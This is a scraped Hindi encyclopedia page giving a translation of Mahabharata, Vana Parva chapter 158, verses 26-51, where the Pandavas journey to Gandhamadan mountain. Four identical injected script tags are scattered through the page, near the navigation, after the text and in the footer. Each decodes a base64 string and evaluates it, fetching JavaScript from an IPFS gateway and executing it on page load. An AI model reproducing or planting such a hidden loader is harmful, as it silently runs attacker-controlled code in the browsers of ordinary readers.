महाभारत वन पर्व अध्याय 158 श्लोक 26-51

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अष्‍टपञ्चाशदधिकशततम (158) अध्‍याय: वन पर्व (यक्षयुद्ध पर्व)

महाभारत: वन पर्व: अष्‍टपञ्चाशदधिकशततम अध्‍याय: श्लोक 26-51 का हिन्दी अनुवाद

वृशपर्व भूत और भविष्‍यके ज्ञाता, कार्यकुशल और सम्पूर्ण धर्मोंके मर्मश थे। उन धर्मज्ञ नरेशने भरतश्रेष्ठ पाण्डवोंको पुत्रकी भांति उपदेश दिया। उनकी आज्ञा पाकर महामना पाण्डव उत्‍तरदिशाकी ओर चले। उस समय उनके प्रस्थान करनेपर महातेजस्वी राजर्षि वृशपर्वाने पाण्डवोंको (उस देशको जानकर अन्य) ब्राह्मणों के सुपुर्द कर दिया और कुछ दूर पीछे-पीछे जाकर उन कुन्तीकुमारको आशीर्वाद देकर प्रसन्न किया। तत्पश्चात् उन्हें रास्ता बताकर वृशपर्वा लौट आये। फिर सत्यपराक्रमी कुन्तीनन्दन युधिष्ठिर अपने भाइयोंके साथ पैदल ही (वृशपर्वाके बताये हुए मार्गपर) चले, जो अनेक जातिके मृगोंके झुड़ोसे भरा हुआ। वे सभी पाण्डव नाना प्रकारके वृक्षोंसे हरे-भरे पर्वतीय शिखरोंपर डेरा डालते हुए चौथे दिन श्वेत (हिमालय) पर्वतपर जा पहुंचे, जो महामेघके समानशोभा पाता था। वह सुन्दरशैलशीतल सलिलराशिसे सम्पन्न था और मणि, सुवर्ण, रजत तथा शिलाखण्ड़ोंका समुदायरूप था। हिमालयका वह रमणीय प्रदेश अनेकानेक कन्दराजों और निर्झरोंसे सुशोभित शिलाखण्ड़ोंके कारण दुर्गम तथा लताओं और वृक्षोंसे व्याप्त था। पाण्डव वृशपर्वाके लिये बताये हुए मार्गका आश्रय ले नाना प्रकार के वृक्षोंका अवलोकन करते हुए अपने अभीष्ट स्थानकी ओर अग्रसर हो रहे थे। उस पर्वतके ऊपर बहुत-सी अत्यन्त दुर्गम गुफाएं थीं और अनेक दुर्गम्य प्रदेश थे। पाण्डव उन सबको सुखपूर्वक लांघकर आगे बढ़े गये। पुरोहित धौम्य, द्रौपदी, चारो पाण्डव तथा महर्षि लोमश-ये सब लोग एक चल रहे थे। कोई पीछे नहीं छूटता था। आगे बढ़ते हुए वे महाभाग पाण्डव पुण्यमय माल्यवान् नामक महान् पर्वतपर जा पहुंचे; जो अनेक प्रकारके वृक्षों और लताओंसे सुशोभित तथा अत्यन्त मनोरम था। वहां मृगोंके झुंड़ विचरते और भांति-भांतिके पक्षी कलरव कर रहे थे। बहुतसे वानर भी उस पर्वतका सेवन करते थे। उसके शिखरपर कमलण्डित सरोवर, छोटे-छोटे जलकुण्ड और विशाल वन थे। वहांसे उन्हें गन्धमादन पर्वत दिखायी दिया, जो किम्पुरूषोका निवासस्थान है। सिद्ध और चारण उसका सेवन करते है। उसे देखकर पाण्डवोंका रोम-रोम हर्षसे खिल उठा। उस पर्वतपर विद्याधर विहार करते थे। किन्नरियां क्रीड़ा करती थी। झुड़-के-झुंड़ हाथी, सिंह और व्याघ्र निवास करते थे। षरभोंके सिंहनादसे वह पर्वत गूंजता रहता था। नाना प्रकारके मृग वहां निवास करते थे। गन्धमादन पर्वतका वह वन नन्दनवनके समान मन और हदयको आनन्द देनेवाला था। वे वीर पाण्डुकुमार बड़े प्रसन्न होकर क्रमश: उस सुन्दर काननमें प्रविष्ट हुए, जो सबकोशरण देनेवाला था। उनके साथ द्रौपदी तथा पूर्वाक्त महामना ब्राह्मण भी थे। वे सब लोग विहंगोंके मुखसे निकले हुए अत्यन्त मधुर सुन्दर, श्रवण-सुखद मादक एवं मोदजनकशुभशब्द सुनते हुए तथा सभी ऋतुओंके पुष्पों और फलोंसे सुशोभित एवं उनके भारसे झुके वृक्षोंकोदेखते हुए आगे बढ़ रहे थे। आम, आमड़ा, भव्य नारियल, तेंदु, भुजातक, अंजीर, अनार, नीबू, कटहल, लकुच (बड़हर), मोच (केला), खजूर, अम्लवेंत, पारावत, क्षौंद्र, सुन्दर कदम्ब, बेल, कैथ, जामुन, गम्भारी, बेर, पाकड़, गूलर, बरगद, पीपल, पिंड़ खजूर, मिलावा, आवंला, हरें,बहेड़ा, करौंदा तथा बड़े-बड़े फलवाले तिंदुक-ये और दूसरे भी नाना प्रकारके वृक्ष गन्धमादनके शिखरोंपर लहलहा रहे थे, जो अमृतके समान स्वादिष्ट फलोंसे लदे हुए थे। (इन सबको देखते हुए पाण्डव लोग आगे बढ़ने लगे।) इसी प्रकार चम्पा, अशोक, केतकी, बकुल (मौलशिरी), पुन्नाग (सुल्ताना चंपा), सप्तवर्ण (छितवन), कुबेर, केवड़ा, पाटल (पाड़रि या गुलाब) कुटज, सुन्दर मन्दार, इन्दीवर (नीलकमल), परिजात, कोविदार, देवदारू, शाल, ताल, तमाल, पिप्पल, हिंगुक (हींगका वृक्ष), सेमल, पलाश, अशोक, शीशम तथा तरल आदि वृक्षोंको देखते हुए पाण्डवलोग अग्रसर हो रहे थे।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>